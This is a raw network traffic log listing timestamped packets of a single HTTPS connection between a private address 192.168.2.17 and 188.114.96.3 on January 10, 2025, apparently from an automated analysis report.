Jan 10, 2025 20:50:09.470107079 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.470158100 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.470163107 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.470271111 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.470288038 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.470303059 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.470381021 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.470386982 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.470535040 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.470570087 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.470593929 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.470648050 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.470653057 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.470690966 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.470799923 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.470832109 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.470870972 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.470879078 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.470916986 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.470916986 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.506650925 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.506678104 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.506743908 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.506751060 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.506840944 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.556250095 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.556279898 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.556354046 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.556370974 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.556512117 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.556535006 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.556576014 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.556576014 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.556582928 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.556623936 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.556648970 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.556648970 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.556664944 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.556688070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.556720018 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.556720018 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.556871891 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.556971073 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.556977034 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.557040930 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.557060957 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.557075977 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.557080984 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.557104111 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.557115078 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.557166100 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.557173014 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.558300018 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.558316946 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.558382034 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.558387041 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.558424950 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.558424950 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.558604002 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.558623075 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.558660030 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.558676958 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.558689117 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.558698893 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.558777094 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.558777094 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.558784008 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.558825970 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.593461990 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.593488932 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.593588114 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.593599081 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.593652964 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.643089056 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.643110991 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.643212080 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.643222094 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.643266916 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.643266916 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.643397093 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.643436909 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.643515110 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.643522978 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.643562078 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.643650055 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.643666029 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.643726110 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.643733025 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.643805027 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.643954992 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.643969059 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.644052029 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.644062042 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.644104958 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.644115925 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.644124985 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.644135952 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.644154072 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.644263029 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.645420074 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.645437956 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.645505905 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.645518064 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.645582914 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.645698071 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.645750046 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.645771027 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.645778894 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.645838976 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.680500984 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.680530071 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.680591106 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.680612087 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.680993080 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.727888107 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.730078936 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.730113983 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.730189085 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.730206966 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.730226994 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.730334997 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.730360985 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.730401039 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.730407953 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.730422020 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.730472088 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.730602980 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.730619907 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.730710983 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.730717897 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.730921030 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.730933905 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.730958939 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.731043100 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.731053114 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.731053114 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.731060028 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.731077909 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.731108904 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.731149912 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.731154919 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.731229067 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.732199907 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.732217073 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.732305050 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.732312918 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.732367992 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.732412100 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.732429981 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.732539892 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.732547045 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.732594967 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.767417908 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.767452955 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.767601013 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.767620087 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.767729998 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.816967010 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.817003965 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.817079067 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.817121983 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.817130089 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.817151070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.817188025 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.817433119 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.817447901 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.817473888 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.817502022 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.817507982 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.817594051 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.817743063 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.817763090 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.817851067 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.817857027 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.817975044 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.817990065 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.818074942 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.818082094 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.819168091 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.819189072 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.819268942 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.819282055 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.819298029 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.819367886 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.819384098 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.819451094 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.819458008 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.854326963 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.854358912 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.854505062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.854518890 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.903868914 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.904092073 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904108047 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904150009 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904177904 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904189110 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904192924 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.904197931 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904220104 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904228926 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904268026 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.904390097 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.904409885 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904428005 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904481888 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.904489040 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904540062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.904624939 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904644966 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904716015 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.904721975 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904731035 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.904906988 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.904923916 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.905009985 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.905015945 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.905893087 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.905914068 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.905982971 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.905988932 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.906039953 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.906156063 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.906171083 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.906250954 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.906255960 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.941278934 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.941319942 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.941381931 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.941391945 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.941459894 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.984041929 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.990715027 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.990730047 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.990839005 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.990858078 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.990931034 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.990962982 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.990981102 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.990993977 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.991036892 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.991036892 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.991050005 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.991094112 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.991203070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.991219044 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.991333008 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.991333008 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.991338968 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.991520882 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.991534948 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.991600037 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.991606951 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.991676092 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.991697073 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.991751909 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.991759062 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.991766930 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.992659092 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.992674112 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.992815018 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.992822886 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.993088961 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.993105888 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.993164062 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.993170977 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.993345976 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.993359089 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:09.993391037 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.993441105 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:09.993444920 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.046915054 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.077826023 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.077838898 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.077881098 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.077897072 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.077907085 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.077915907 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.077938080 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.077946901 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.077966928 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.077982903 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.078090906 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.078180075 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.078196049 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.078269958 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.078279972 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.078438044 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.078458071 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.078516006 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.078521967 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.078600883 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.078744888 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.078761101 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.078907013 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.078907013 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.078916073 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.079694986 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.079714060 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.079781055 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.079786062 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.079822063 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.080388069 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.080411911 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.080507994 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.080528975 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.080562115 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.080562115 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.080562115 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.080570936 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.080583096 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.080629110 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.116113901 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.116274118 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.165231943 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.165262938 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.165316105 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.165355921 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.165405989 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.165430069 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.165452957 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.165467024 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.165469885 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.165518045 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.165527105 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.165586948 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.165746927 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.165769100 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.165846109 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.165852070 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.166073084 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.166085958 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.166290045 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.166296959 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.166762114 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.166781902 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.166862011 CET	49803	443	192.168.2.17	188.114.96.3
Jan 10, 2025 20:50:10.166870117 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.167402029 CET	443	49803	188.114.96.3	192.168.2.17
Jan 10, 2025 20:50:10.167418957 CET	443	49803	188.114.96.3	192.168.2.17
